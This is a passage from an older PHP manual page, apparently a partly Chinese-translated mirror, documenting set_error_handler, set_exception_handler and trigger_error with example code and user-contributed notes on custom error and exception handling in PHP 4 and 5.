  case E_USER_NOTICE:
    echo "<b>My NOTICE</b> [$errno] $errstr<br />\n";
    break;
  default:
    echo "Unkown error type: [$errno] $errstr<br />\n";
    break;
  }
}

// function to test the error handling
function scale_by_log($vect, $scale)
{
  if (!is_numeric($scale) || $scale <= 0) {
    trigger_error("log(x) for x <= 0 is undefined, you used: scale = $scale", E_USER_ERROR);
  }

  if (!is_array($vect)) {
    trigger_error("Incorrect input vector, array of values expected", E_USER_WARNING);
    return null;
  }

  for ($i=0; $i<count($vect); $i++) {
    if (!is_numeric($vect[$i]))
      trigger_error("Value at position $i is not a number, using 0 (zero)", E_USER_NOTICE);
      $temp[$i] = log($scale) * $vect[$i];
    }
    return $temp;
  }

// set to the user defined error handler
$old_error_handler = set_error_handler("myErrorHandler");

// trigger some errors, first define a mixed array with a non-numeric item
echo "vector a\n";
$a = array(2,3, "foo", 5.5, 43.3, 21.11);
print_r($a);

// now generate second array, generating a warning
echo "----\nvector b - a warning (b = log(PI) * a)\n";
$b = scale_by_log($a, M_PI);
print_r($b);

// this is trouble, we pass a string instead of an array
echo "----\nvector c - an error\n";
$c = scale_by_log("not array", 2.3);
var_dump($c);

// this is a critical error, log of zero or negative number is undefined
echo "----\nvector d - fatal error\n";
$d = scale_by_log($a, -2.5);

?>

上例的输出类似于：

vector a
Array
(
    [0] => 2
    [1] => 3
    [2] => foo
    [3] => 5.5
    [4] => 43.3
    [5] => 21.11
)
----
vector b - a warning (b = log(PI) * a)
<b>WARNING</b> [1024] Value at position 2 is not a number, using 0 (zero)<br />
Array
(
    [0] => 2.2894597716988
    [1] => 3.4341896575482
    [2] => 0
    [3] => 6.2960143721717
    [4] => 49.566804057279
    [5] => 24.165247890281
)
----
vector c - an error
<b>ERROR</b> [512] Incorrect input vector, array of values expected<br />
NULL
----
vector d - fatal error
<b>FATAL</b> [256] log(x) for x <= 0 is undefined, you used: scale = -2.5<br />
Fatal error in line 36 of file trigger_error.php, PHP 4.0.2 (Linux)<br />
Aborting...<br />

参见

error_reporting()
restore_error_handler()
trigger_error()
error level constants
有关 callback 类型的信息

add a note add a note User Contributed Notes
kariedoo
08-May-2006 04:07
function errorlog($type, $info, $file, $row)
{
   if ($handle = fopen("./log/ftp_error.log", "a"))
   {
     @fwrite($handle, date("Y-m-d H:i:s")." "--> $type: $info FILE: $file -  Row $row\r\n" );
     @fclose($handle);
   }//end if
}//end function

### in the error logging code for example ftp: ###

set_error_handler("errorlog");  //set your own Handler

$this->connect = ftp_connect(TXTCONNECT);
$this->login = ftp_login($this->connect, TXTID, FTPPASS);
$this->systype= ftp_systype($this->connect);

restore_error_handler(); //restore the old handler

------------------
content in file
------------------

2006-05-08 09:36:02 2: ftp_login(): Login incorrect. FILE: /html/cgi-bin/test/classes/ftp.class.php - Row 63
docey
06-Apr-2006 03:50
if you wan't to know the current error-handler
set use something like this:

$current_errorhandler = set_error_handler("myerrorhandler");
restore_error_handler();

this will set your custom error_handler and return
the name of the previous set error handler. by
calling restore_error_handler, you remove your
custom error_handler and set the error_handler that
was set back again.

this way you can also switch back to php-default error-handler
without knowing how many error-handler already
are set, by using a loop till an empty string is
returned. because an empty string means
"no error-handler set" wich means php's default
errorhandler is set back.

like in this code below:

function restore_phperrorhandler()
{
 // get current error handler.
 $previous_errorhandler =
 set_error_handler("myerrorhandler");
 restore_error_handler();

 $max_loops = 20;
 $cur_loops = 0;

 // if current error handler is not already php's or fails.
   if(($previous_errorhandler != NULL) OR
     ($previous_errorhandler != "")){

       while($previous_errorhandler != ""){
         $cur_loops = $cur_loops + 1;

           // check if not exceeding infinit loop.
           if($cur_loops >= $max_loops){
             trigger_error("Restoring exceeds max. loops.",
             E_USER_WARNING);
             return false;
           }

           //switch to previous handler.
           restore_error_handler();

           // get its name and switch to it again.
           $previous_errorhandler =
           set_error_handler("myerrorhandler");
           restore_error_handler();

           // check if getting errorhandler failed.
           if($previous_errorhandler == NULL){
             trigger_error("Failed to get prev. error handler",
             E_USER_WARNING);
           return false;

           // empty string = php-default error handler
           }elseif($previous_errorhandler == ""){
             return true;
           }
       }
   }else{
     trigger_error("Current Error-Handler is default.",
     E_USER_NOTICE);
     return true;
   }
}

this function will loop and return true when no
error handler is left. leaving php-default handler
in controll again. this is usefull if you want to
disable your own error-handler but be sure that
php's is handling your error's and not any other
error-handler.
errd
30-Jan-2006 09:52
In errors to exceptions conversion below I found some incorrect stuff. File and line properties of Exception point to line and file where Exception is thrown, but not where real error is occured.

Impoved errors to exceptions converting:
+ Fixed filename of exception handled
+ Fixed code line of exception handled

<?php

class CustomException extends Exception {
   public function setLine($line) {
       $this->line=$line;
   }

   public function setFile($file) {
       $this->file=$file;
   }
}

function exceptionsHandler($code, $string, $file, $line) {
   $exception=new CustomException($string, $code);
   $exception->setLine($line);
   $exception->setFile($file);
   throw $exception;
}

set_error_handler('exceptionsHandler', E_ALL);

?>
24-Jan-2006 05:19
To honor the value of PHP's error_reporting() function, use:

<?
  if( ($level & error_reporting()) == 0 ) return;
?>
Gulopine
06-Jan-2006 01:36
Also note that even though the documentation states "errcontext will contain an array of every variable that existed in the scope the error was triggered in," that is not the case for $this in an instantiated object, as of PHP 5.1.1.

<?php

function error_function($errno, $errstr, $errfile, $errline, $errcontext) {
   print_r($errcontext);
}

set_error_handler('error_function');

class test_class {
   private $id;

   function __construct($id) {
       $this->id = $id;
       trigger_error('Test error');
   }
}

$test = new test_class(5);

?>

Result:

Array
(
   [id] => 5
)

I discovered this when trying to write an error handler that would log the class the error occured in, as it was triggered from a function in a parent class extended by several individual classes.
ia [AT] zoznam [DOT] sk
22-Sep-2005 07:33
as reply to dawiddr at gmail dot com:

Be careful with this when using __autoload(). When there is some error during parsing the file included in __autoload() so an exception is thrown, it results in following error:

Fatal error:  Function __autoload(ClassName) threw an exception of type 'Exception' in /network/webroot/dev/test.php on line 121

It is because exceptions can't be thrown in __autoload().
See __autoload() documentation (http://www.php.net/autoload) and bug #31102 (http://bugs.php.net/bug.php?id=31102&edit=3)
florian at siweho dot de
23-Aug-2005 03:26
@ mmtache at yahoo dot com
you have to use
if(error_reporting() != 0){
   .... (yourOwnHandler)

instead of
if(error_reporting()){
   ....

in PHP5. then operations like this "@fopen" won't show an error-message
eregon at eregon dot info
03-Aug-2005 12:35
It is not possible to handle fatal errors with own handler. Even if you have set your own handler, fatal error will be always handled by PHP's default handler. The reason is the script may be in unstable state after fatal error occurence (details here: http://marc.theaimsgroup.com/?l=php-dev&m=97673386418430&w=2).
dawiddr at gmail dot com
06-Jul-2005 07:01
In PHP5, if you want to have exceptions thrown instead of normal errors - you could use an error handler, which throw exceptions:

<?php

function handler($errno, $errstr, $errfile, $errline)
{
   print "Error handled!\n";
   throw new Exception($errstr, $errno);
}

set_error_handler('handler');

try
{
   print 2 / 0; // simple error - division by zero
   print "This will never be printed";
}
catch (Exception $e)
{
   print "Exception catched:\n";
   print "Code: ".$e->getCode()."\n";
   print "Message: ".$e->getMessage()."\n";
   print "Line: ".$e->getLine();
}

?>

Result:

Error handled!
Exception catched:
Code: 2
Message: Division by zero
Line: 6

As you see, exception is catched like it have been thrown by division by zero - in try/catch clause. But line numer and backtrace shows, that is was thrown by the error handler.
frank at ethisoft dot nl
01-Jun-2005 06:11
Perhaps it is worth mentioning that in
PHP5
both set_error_handler & set_exception_handler can be called with an array containing 2 arguments:
1) var  ==> object
2) string ==> name of handler function in object

EXAMPLE:
<?php
set_error_handler              (array($object, 'handler_function'));
set_exception_handler      (array($object, 'handler_function'));
?>

Both can point to the same object and handler_function so that both error and exception handling, which are very much alike usually, can be done by only 1 dedicated class.
jgiglio at netmar dot com
26-Mar-2005 12:02
set_error_handler also overrides the default behavior of postgresql which is to shoot HTML errors to the browser on a query failure or other database error.

I can't find a list of symbolic $errno names for postgres errors, but a normal "bad query" throws an errno of 2.

Be careful to not use an empty default case in your errno case statement if you use postgresql, and expect php to generate DB errors automatically.
Steffen Staehle
12-Jan-2005 06:29
Two notes on using set_error_handler() on behaviour that I noticed when migrating an application from php 4.2.1 to php 4.3.9 (I do not yet have php 5.0 available, this might not apply there!).

1. setting the system error handler

If you want to set the standard php error handler again, after having set your own error handler, this works in php 4.2.1 by passing in an empty string:

<?php

   function my_handler($log_level, $log_text, $error_file, $error_line)
   {
     // if an error occurs here, the standard error
     // would be called (to avoid recursion)

     // do something useful
     // ...
   }

   $last_handler = set_error_handler("my_handler");

   // after this, $last_handler == ""

   // restore standard error handler

   $last_handler = set_error_handler("");

   // after this, $last_handler == "my_handler"

?>

The very same code now raises an error in php 4.3.9:

   set_error_handler() expects argument 1, '', to be a valid callback

(Since the return value of the first call to set_error_handler() is still the empty string "", I don't see how this can be done any more. I don't really need this, because I use my own handlers as shown below, but it might be good to be aware of this.)

2. setting your own 'second level' handler

If you have set your own error handler, and want to replace it by another one (other than the standard php error handler) while it is being executed, note that the return value of set_error_handler when used INSIDE the error handler is "" instead of the name of the previous handler! This is not too surprising, because during execution of your self defined error handler, php replaces it with the standard php error handler to avoid infinite loops in case of problems inside the handler. This is only interesting if you want nested handlers as I do. Background of my design:

   1st level handler: log into DB
   2nd level handler: log into flat file (if log into DB fails)
   3rd level handler: print to stdout (if log into flat file fails) (this is the sytem handler, finally).

<?php

   function my_fallback_handler($log_level, $log_text, $error_file, $error_line)
   {
     // if an error occurs here, the standard error
     // would be called (to avoid recursion)

     // do something useful
     // ...

   } // my_fallback_handler

   function my_handler($log_level, $log_text, $error_file, $error_line)
   {
     // if an error occurs here, the standard error
     // would be called (to avoid recursion)

     // but we want to have a fallback handler different
     // to the standard error handler

     $last_handler = set_error_handler("my_fallback_handler");

     // I expected $last_handler == "my_handler"
     // (which it would outside my_handler())
     // but here it is the empty string ""

     // do something useful
     // ...

     // now set the 1st level handler again:
     // (do NOT use $last_handler as argument,
     // because it equals "")

     $last_handler = set_error_handler("my_handler");

   } // my_handler

   $last_handler = set_error_handler("my_handler");

?>
Sukender
10-Aug-2004 11:29
In PHP5, ou can ask for the default handler to be called after your custom handler by returning "false". See this pseudo-code :
<?
function MyHandler($errno, $errstr, $errfile, $errline, $errcontext) {
   my_handling_code;        // Do something, such as sending an email to the admin
   if (i_want_to_call_the_default_handler) return false;        // will invoke the default error handler just after
   else return true;        // This will NOT invoke it (= you've properly handled the error)
}
set_error_handler("MyHandler");
?>

I have not tested the functionality, but I think that the php.ini directive "log_errors" keeps working, but *only* when you call the default handler (= retrun false).

>>> Source : Mailing list thread about "re-invoking default error handler" at http://www.zend.com/lists/php-dev/200405/msg00491.html (be careful about the first post : "true" and "false" are switched - because it's only a proposition).
Joe
30-Jun-2004 01:26
When a custom error handler is set, the php.ini directive "log_errors" stops working.  I'm guessing to favor your custom handler.  You can still log your errors with the "error_log" function, but it doesn't happen when you have a custom error handler.
Cezary Tomczak
22-Apr-2004 04:25
Here is a script to debug / display errors in a nice way: http://gosu.pl/demo/ErrorHandler/ErrorHandler.zip

Example of displaying an error: http://gosu.pl/demo/ErrorHandler/example1.html
Example of displaying source of the file where the error appeared: http://gosu.pl/demo/ErrorHandler/example2.html

Displaying error: generates a backtrace, show file / line, show function / arguments (and values), source of the file
erwin at isiz dot nl
19-Apr-2004 09:51
@sijmen at digitized dot nl
That's not true. The reference operator does have effect, when used correctly.

Your code doesn't use the reference operator in the set_error_handler function, but it does when creating the new error object. In your case, you have to use the reference operator two times.

When calling the set_error_handler function

<?php
       set_error_handler(array(&$this, 'handler'));
?>

and when creating the class

<?php
$eh = &new error;
?>

In that case the same error class will be used and the output will be following:
Error!
!!

Hope this helps.
mightye (at) mightye (dot) org
13-Apr-2004 05:18
You can't use this functionality to catch parse errors in included, required, or eval()'d code.  Parse errors seem to exist on a deeper level.
sijmen at digitized dot nl
09-Apr-2004 10:47
@jayp at groovejob dot com
As I said before, the reference operator doesn't have any effect on the the error handler.

Proof of concepts:
http://trouby.digitized.nl/set_error_handler2.php
http://trouby.digitized.nl/set_error_handler2.php?source=1
jayp at groovejob dot com
04-Apr-2004 01:28
In response to sijmen at digitized dot nl:

Instead of

$eh = new error;

use

$eh =& new error();

The new operator returns a copy of the error object, so the error handler that is set in the constructor is tied to a different object instance than the instance returned by "new".  To make sure you are working with the exact same object instance that you think you are, it's best to use the reference object when creating instances of objects, like so:

$oMyObject =& new MyObject();

HTH,

Jay
sijmen at digitized dot nl
30-Mar-2004 11:23
@skyrl at free dot fr
It seems that the reference operator '&' doesn't have any effect. That's why I submitted the comment.

<?php
class error {
   var $error;

   function error() {
       $this->setIni();
   }

   function handler() {
       echo $this->error.'!!';
   }

   function setText($text) {
         $this->error = $text;
   }

   function setIni() {
       set_error_handler(array(&$this, 'handler')); // The '&' operator doesn't have any effect
   }
}

$eh = new error;
$eh->setText('Error! <br>'); // Will not get set

trigger_error('text', E_USER_ERROR); // prints '!!'
?>

Proof of concept
http://trouby.digitized.nl/set_error_handler.php
http://trouby.digitized.nl/set_error_handler.php?source=1
skyrl at free dot fr
30-Mar-2004 11:00
in reaction to the last '29-Mar-2004 11:13' post, just have to say that's normal the values are not "saved" in your error handler object. because the error object of the handler is not the same object as the one you instantiate...

You have to write set_error_handler(array(&this, 'my_error_handler')). The & is important for php to know that your error handler belongs to the same instance you allocate.
30-Mar-2004 08:13
It seems that when you're letting PHP know that you have a custom  error handler, you're not able to -update/set new- variables inside the class. Example:

<?php
class error {
   var $error;

   function error() {
       $this->setIni();    // this causes PHP to ignore all other changes to the class.
   }

   function handler() {
       echo $this->error.'!!';
   }

   function setText($text) {
         $this->error = $text;
   }

   function setIni() {
       set_error_handler(array($this, 'handler'));
   }
}

$eh = new error;
$eh->setText('Error! <br>');  // this will not be saved

trigger_error('text', E_USER_ERROR);
// prints '!!'
?>

How it should be done:
<?php
class error {
   var $error;

   function error() {
         // dont let PHP know of our error handler yet
   }

   function handler() {
       echo $this->error.'!!';
   }

   function setText($text) {
         $this->error = $text;
   }

   function setIni() {
       set_error_handler(array($this, 'handler'));
   }
}

$eh = new error;
$eh->setText('Error! <br>');  // this WILL work
$eh->setIni();  // call this method when you're ready with configuring the class. All other methods that will be called will have no effect on the errorHandling by PHP

trigger_error('text', E_USER_ERROR);
// prints 'Error! <br>!!'
?>
phpmanual at NO_SPHAMnetebb dot com
16-Nov-2003 12:19
Given this code:

class CallbackClass {
   function CallbackFunction() {
       // refers to $this
   }

   function StaticFunction() {
       // doesn't refer to $this
   }
}

function NonClassFunction() {
}

there appear to be 3 ways to set a callback function in PHP (using set_error_handler() as an example):

1: set_error_handler('NonClassFunction');

2: set_error_handler(array('CallbackClass', 'StaticFunction'));

3: $o =& new CallbackClass();
   set_error_handler(array($o, 'CallbackFunction'));

The following may also prove useful:

class CallbackClass {
   function CallbackClass() {
       set_error_handler(array(&$this, 'CallbackFunction')); // the & is important
   }

   function CallbackFunction() {
       // refers to $this
   }
}

The documentation is not clear in outlining these three examples.
mlemos at acm dot org
21-Oct-2003 01:03
PHP does not really provide a way to catch all errors including parsing errors or for instance form file uploading errors.

Ideally, there should be a way to catch these errors and mail a system administrator so he can take immediate action.

The best you can do is to disable all output of errors to the pages and enable error logging to a file. Then you should take a look at this error log file periodically to figure what may be wrong.

The problem is that you can't just wait and sit there watching for errors in the log files until they happen. To solve this problem you may want to try this class that lets you watch a given error file periodically and mail the new log lines to a given address of the site  developer or system administrator.

http://www.phpclasses.org/logwatcher

It is like the Unix tail command except that you should run this from a cron task periodically (lets say, every 5 minutes). The class keeps track of the last log line that was read on each log file poll, so it knows where to resume checking the log file on the next time the cron task is run.
smp at ncoastsoft dot com
09-Sep-2003 06:28
Here is an example of catching ALL errors from php including parse and compile. This example comes from a web page referenced in another post (http://www.webkreator.com/cms/view.php/1692.html ). My example doesn't require any .htaccess editing at all:

function fatal_error_handler($buffer) {
  if (ereg("(error</b>:)(.+)(<br)", $buffer, $regs) ) {
   $err = preg_replace("/<.*?>/","",$regs[2]);
   error_log($err);
   return "ERROR CAUGHT check log file";
  }
  return $buffer;
}

function handle_error ($errno, $errstr, $errfile, $errline)
{
   error_log("$errstr in $errfile on line $errline");
   if($errno == FATAL || $errno == ERROR){
       ob_end_flush();
       echo "ERROR CAUGHT check log file";
       exit(0);
   }
}

ob_start("fatal_error_handler");
set_error_handler("handle_error");

//causes a warning
preg_replace();

//would normally cause a fatal error, but instead our output handler will be called allowing us to handle the error.
somefunction();
ob_end_flush();

The trick is to buffer the output and setup your error handling  and output handling first thing. When a fatal error occurs, the output from php will be sent to the function fatal_error_handler giving you one last chance to handle it.
simon dot sattes at headwork dot de
13-Jun-2003 06:06
There's a very good tutorial for PHP's error-handling available at

http://www.devshed.com/Server_Side/PHP/ErrorHandling/
Thomas Staunton
25-Mar-2003 08:11
The best way, I have found to use a class/object as an error handler is to define a class, add your desired error handling function into the constructor and then call set_error_handler() to the name of your function, thats it. e.g.

Class Error {

  Function Error() {
   Function HandleError($n, $m, $f, $l){
     print_r(debug_backtrace());
   }
   set_error_handler('HandleError');
  }
}
bob at db dot org
12-Mar-2003 05:09
The documentation on this page kindly offers the following on using (class) methods as error handlers:

Note:  Instead of a function name, an array containing an object reference and a method name can also be supplied. (Since PHP 4.3.0)

Since that's all it says about the subject, I thought I'd offer a sample implementation to show how this can be used:

<?php

       class error {

               var $conf;
               var $lang;

               function error($conf, $lang) {
                       $this->conf = $conf;
                       $this->lang = $lang;

                       set_error_handler(array(&$this, 'handler'));
               }

               function handler($no, $str, $file, $line, $ctx) {
                       echo '<pre>';
                       echo 'no  : ' . $no . "\n";
                       echo 'str  : ' . $str . "\n";
                       echo 'file : ' . $file . "\n";
                       echo 'line : ' . $line . "\n";
                       echo 'ctx  : ';
                       print_r($ctx);
                       echo '</pre>';
               }

       }
?>
mmtache at yahoo dot com
10-Feb-2003 05:06
The @ operator sets the error_reporting() value to 0.
This means you can use it with your own Error Handler too. for example:

function userErrorHandler($errno, $errmsg, $filename, $linenum, $vars) {
   if (error_reporting())
echo $errmsg;
   }
set_error_handler("userErrorHandler");

function test(){
trigger_error("Error Message", E_USER_WARNING);
}

@test(); // doesn't output anything
roy
13-Jun-2002 07:08
Useful thing to note - if your error handler throws an error in itself, PHP is smart enough to use the deault error handler to handle it. This way, you don't end up in infinite flaming loops of death. This seems to be true, at least, in PHP 4.2.

('Course, there are ways to create your handler to handle even this situation, but it's probably best left this way for general purposes.)
publicmail at macfreek dot nl
01-Jun-2002 12:34
Note: If you have a custom error handler and use assert(), you MUST set:

assert_options (ASSERT_WARNING, 0);

Otherwise, no output whatsoever will ever be shown if an assert fails.
ned at wgtech dot com
02-Mar-2002 03:52
Just spent two days trying to find some method where a class can handle errors thrown at my convienience. After fighting with the pitfalls of this problem this is what I came up with. Hope it helps someone else save a little time. Its nice because all instances of this class will point to the same array that stores the errors.

class ApplicationObject {
   var $error_List;

   function ApplicationObject() {
       set_error_handler('trapError');
       $this->error_List = &trapError();
   }

}

function &trapError() {
   static $error_Vals = array();

   if (func_num_args()==5) { // Error Event has been passed
       $error_Vals[] = array(    'err_no' => func_get_arg(0), 'err_text' => func_get_arg(1), 'err_file' => func_get_arg(2), 'err_line' => func_get_arg(3), 'err_vars'=>func_get_arg(4));
   }
   if (func_num_args()==0) { // Setup call. Return reference
       return $error_Vals;
   }
}
j dot schriver at vindiou dot com
28-Sep-2000 11:50
A quote from Zeev Suraski:

"The CVS version (scheduled for 4.0.2) of the function has been enhanced:

- The error handler accepts three additional arguments - the filename in  which the error occured, the line number in which the error occured, and the context of the in which the error occured (a hash that points to the active symbol table at the place of the error)."

So, you can now do this:

function myErrorHandler ($errno, $errstr, $errfile, $errline, $errcontext) {...}

[Editor's Note:
The above phrase: "...the context of the in which the error occured (a hash that points to the active symbol table at the place of the error)." may be difficult for new programmers to understand.

What it means is that the last argument passed to your error handler (the $errcontext in the above example) will contain an array that contains the value of every variable that existed in the scope the error was triggered in.

Try the following example to see exactly how this works:

<pre>
<?php
// Define a simple error handler
function error_handler ($level, $message, $file, $line, $context) {

   echo <<<_END_
An error of level $level was generated in file $file on line $line.
The error message was: $message
The following variables were set in the scope that the error occurred in:

<blockquote>
_END_;

   print_r ($context);
   print "\n</blockquote>";
}

// Set the error handler to the error_handler() function
set_error_handler ('error_handler');

// Make a function and trigger an error
function foo () {
   global $SERVER_ADMIN;
   $bar = 1;

   // Trigger the error in the local scope of the function
   trigger_error ("Some error");
}

foo();

// Now trigger the error in global scope
trigger_error ("Some other error");
?>

-zak@php.net]
add a note add a note

后退 | 起点 | 前进
restore_exception_handler | 上一级 | set_exception_handler


set_exception_handler

(PHP 5)

set_exception_handler -- Sets a user-defined exception handler function

说明

string set_exception_handler ( callback exception_handler )

Sets the default exception handler if an exception is not caught within a try/catch block. Execution will stop after the exception_handler is called.

The exception_handler must be defined before calling set_exception_handler(). This handler function needs to accept one parameter, which will be the exception object that was thrown.

参数

exception_handler

Name of the function to be called when an uncaught exception occurs.

返回值

Returns the name of the previously defined exception handler, or FALSE on error. If no previous handler was defined, an empty string is returned.

范例

例子 1. set_exception_handler() example

<?php
function exception_handler($exception) {
  echo "Uncaught exception: " , $exception->getMessage(), "\n";
}

set_exception_handler('exception_handler');

throw new Exception('Uncaught Exception');
echo "Not Executed\n";
?>

参见

restore_exception_handler(),
restore_error_handler(),
error_reporting(),
有关 callback 类型的信息,  和
PHP 5 Exceptions.

add a note add a note User Contributed Notes
mc-php-doco at oak dot homeunix dot org
08-Apr-2006 12:41
This seems not to work when calling the PHP binary with the '-r' flag.

For example, if I run it like this:

   php -r '
     function exception_handler($exception) {
       echo "Uncaught exception: " , $exception->getMessage(), "\n";
     }

     set_exception_handler("exception_handler");

     throw new Exception("Uncaught Exception");
     echo "Not Executed\n";
   '

Or if I place it in a file and run it like this:

   php -r 'include "./tmp.php";'

I get a stack trace instead of having the function 'exception_handler' called.  If run it like this:

   php tmp.php

It works fine.

(Why run code from '-r'?  Sometimes it's useful to add stuff around the include like calls to microtime for benchmarks, or to include a library and then call a few functions from the library, all in an ad-hoc way without having to create new files.)

PHP versions 5.1.2 and 5.0.4.
ch at westend dot com
21-Feb-2006 11:06
It seems that although the Exception contains a backtrace itself, the stack for the debug_backtrace() function is empty when entering an exception handler. This is very inconvinient. See bug #36477.
sean at seanodonnell dot com
24-Oct-2005 07:48
Using the 'set_exception_handler' function within a class, the defined 'exception_handler' method must be declared as 'public' (preferrable 'public static' if you use the "array('example', 'exception_handler')" syntax).

<?php
class example {
   public function __construct() {
       @set_exception_handler(array('example', 'exception_handler'));
       throw new Exception('DOH!!');
   }

   public static function exception_handler($exception) {
       print "Exception Caught: ". $exception->getMessage() ."\n";
   }
}

$example = new example;

echo "Not Executed\n";
?>

Declaring the 'exception_handler' function as 'private' causes a FATAL ERROR.

[derick: red. updated statement about static a bit]
add a note add a note

后退 | 起点 | 前进
set_error_handler | 上一级 | trigger_error


trigger_error

(PHP 4 >= 4.0.1, PHP 5)

trigger_error -- Generates a user-level error/warning/notice message

说明

bool trigger_error ( string error_msg [, int error_type] )

Used to trigger a user error condition, it can be used by in conjunction with the built-in error handler, or with a user defined function that has been set as the new error handler (set_error_handler()).

This function is useful when you need to generate a particular response to an exception at runtime.

参数

error_msg

The designated error message for this error. It's limited to 1024 characters in length. Any additional characters beyond 1024 will be truncated.

error_type

The designated error type for this error. It only works with the E_USER family of constants, and will default to E_USER_NOTICE.

返回值

This function returns FALSE if wrong error_type is specified, TRUE otherwise.

范例

例子 1. trigger_error() example

See set_error_handler() for a more extensive example.

<?php
if (assert($divisor == 0)) {
    trigger_error("Cannot divide by zero", E_USER_ERROR);
}
?>

参见

error_reporting()
set_error_handler()
restore_error_handler()
The error level constants

add a note add a note User Contributed Notes
richard at 2006 dot atterer dot net
04-Apr-2006 12:28
Beware, trigger_error() is absolutely useless for transporting your own function's error messages in $php_errormsg:

ini_set('track_errors', TRUE);
function x() { trigger_error('MY ERROR'); }
@x();
echo "Error 1: \\"$php_errormsg\\"\\n";
@file_get_contents('/nonexisting');
echo "Error 2: \\"$php_errormsg\\"\\n";

This outputs:

Error 1: ""
Error 2: "failed to open stream: No such file or directory"

This behaviour is consistent with the description of $php_errormsg, which says that the variable will only be available within the scope in which the error occurred. The problem can be worked around with a custom error handler like the one below. However, I'm undecided whether changing the language in this way is good:

function errHandler($errno, $errstr, $errfile, $errline) {
  global $php_errormsg; $php_errormsg = $errstr;
}
set_error_handler('errHandler');
mano at easymail dot hu
26-Apr-2005 08:13
I am not so familiar with this but I think you can reach some of the functionality of try..catch with this function. I would disagree or correct the previous note. The @ is not the catch, it sets the error_reporting to 0 tempolary but with set_error_handler you can try to imitate some behavior like catch.
I've just made this to try if it possible, I never tried in projects but I think could work in php 4. Actually if you want to have the Trace of the error you need to use php4.3+.
Maybe not many of you will create new scripts in php4 and try to have some features from php5 but in some cases (extending older projects) this could be better error handling.

If this is a wrong approach, waiting for comments, if its not, use it!

<?
function catch($errno, $errstr, $errfile, $errline){
   $GLOBALS['throw'] = $errstr;
   $GLOBALS['throw_info'] = array(
       'Message'=>$errstr
       ,'Code'=>$errno
       ,'Line'=>$errline
       ,'File'=>$errfile
       ,'Trace'=>debug_backtrace()
   );

}
set_error_handler('catch');

function badgirl(){
   if(true){ //error occure
       trigger_error("BadGirlWithError",E_USER_NOTICE); // as throw with notice
       return; // ...because trigger_error does not stop the function
   }else{
       return true;
   }
}

// Try
$GLOBALS['throw'] = null; // ...try...
$sheis = badgirl(); //could be @badgirl, display_errors is something else, this just the handling
// ..try
if($GLOBALS['throw']){  // This actually catch re-throws too...
   switch($GLOBALS['throw']){ // Catch
       case 'GoodGirlException':
           die('No bad girl today!');
       break;
       case 'BadGirlWithError':
           die('Bad girl has some error');
       break;
       default:
           return; // or you can make another trigger_error and re-throw another 'exception' or some other action
   }
}
echo "You will never see this line - @ only supress message, not a control flow";
echo "Wrong! You could see this:)";

?>

.mano
dzn'tM@ter
21-Jan-2004 01:05
Some might think that trigger_error is like a throw() or an err.raise construction, and @ works like catch(){} one - in fact it's NOT.

function badgirl(){
   trigger_error("shame on me",E_USER_ERROR);
   return true;
}

$sheis = @badgirl();
echo "You will never see this line - @ only supress message, not a control flow";
robert at klugher dot com
24-Sep-2003 08:12
This one took me some time ...

When you use trigger_error with your own error handler, the class instances are destroyed (don't know how to say it better, I am not an expert).

So, if you try to call a class function from within the error handler function, you will get 'Call to a member function on a non-object' error, even if this function works perfectly in the rest of your script.

Solution : re-use the xxx = new yyy to re-create the instance in the beginning of your error handler ... and then you can call the class functions you want !
mail at dooley dot cjb dot net
30-Jul-2003 10:16
i recently began using a custom error handling class. the biggest problem is that, with call time pass by reference deprecated, you can't manipulate the error handler class after assigning at as the error handler (and it appears not to be returned by the set_error_handler method as the old error handler). my goal was to be able to store up all my non-fatal errors and print them at the end of script execution. that way i can use 'trigger_error' (which i actually have wrapped in a static method ErrorHandler::throwException for portability purposes... which is a pain because it always has the same line number information!!) for all kinds of errors, including user input erros. so when i check a user's password, for instance i would trigger a warning that said 'incorrect password'. of course i would only want this to print out the error once the script had completed.

so in my error handler class i have the following in the constructor:

function ErrorHandler()
{
   $this->error_messages  = array();
   error_reporting (E_ALL);
   set_error_handler(array($this,"assignError"));
}

and my assignError method:
//accept the required arguments
function assignError($errno, $errstr, $errfile, $errline)
{
   //get the error string
   $error_message = $errstr;
//if in debug mode, add line number and file info
 if(ErrorHandler::DEBUG())
 $error_message .= "<br>".basename($errfile).",line: ".$errline;

           switch ($errno)
           {
               //if the error was fatal, then add the error
               //display an error page and exit
               case ErrorHandler::FATAL():
                   $this->setType('Fatal');
                   $this->addError($error_message);
                   Display::errorPage($this->errorMessages());
                   exit(1);
               break;
               //if it was an error message, add a message of
               //type error
               case ErrorHandler::ERROR():
                   $this->setType('Error');
                   $this->addError($error_message);
               break;
               //if it was a warning, add a message of type
               //warning
               case ErrorHandler::WARNING():
                   $this->setType('Warning');
                   $this->addError($error_message);
               break;
               //if it was some other code then display all
               //the error messages that were added
               default:
                   Display::errorRows($this->errorMessages());
               break;
           }
           //return a value so that the script will continue
           //execution
           return 1;
}

the key part there is the 'default' behaviour. i found that if i call trigger_error with anything other than E_USER_ERROR, E_USER_WARNING or E_USER_NOTICE, then error code '2' is passed to the handler method. so when it is time to print all my non-fatal errors, like 'password and confirm password don't match' or something, i call ErrorHandler::printAllErrors()

       function printAllErrors()
       {
           trigger_error("",2);
       }

which leads to the default behaviour in my switch statement in the assignError method above. the only problem with this is that the weird bug 'Problem with method call' that occurs with some static method calls (that one person on the bug lists said was fixed and another said wouldn't be fixed until version 5) also produces error code 2!! i have just taken to suppressing these errors with @, because despite the alledged problem with the method call, the script still seems to execute fine.

iain.
someone at attbi dot com
24-May-2003 12:24
sl0th, the idea is never to give out file names, line numbers, and cryptic codes to the user. Use trigger_error() after you used set_error_handler() to register your own callback function which either logs or emails the error codes to you, and echo a simple friendly message to the user.

And turn on a more verbose error handler function when you need to debug your scripts. In my init.php scripts I always have:

if (_DEBUG_) {
   set_error_handler ('debug_error_handler');
}
else {
   set_error_handler ('nice_error_handler');
}
sl0th at r00thell dot ath dot cx
21-May-2003 10:25
Well this is a good way on debuging your php scripts, but i wouldn't feel
too comfortable by giving out my web servers structure.
Notice that what helps you finding and isolating errors in your php helps also a potential attacker.
Or maybe i am just paranoid, but its worth mention it.
ceo at l-i-e dot com
29-Oct-2002 09:20
You should be using set_error_handler (possibly in conjuction with error_log and/or trigger_error) if you want FILE and LINE number information.
You don't need macros for this.
jason at lehighweb dot com
16-Jul-2001 03:28
Fatal error: Cannot divide by zero in
/home/phpwebmaster/public_html/test2.php on line 11

That almost looks evil, doesn't it?  Except that I made PHP print that out.

You see, most of use apply echo() style error checking in PHP, when in fact we could be using the trigger_error() function.

For example:

<?php
$divisor =;
if (assert ($divisor =0))
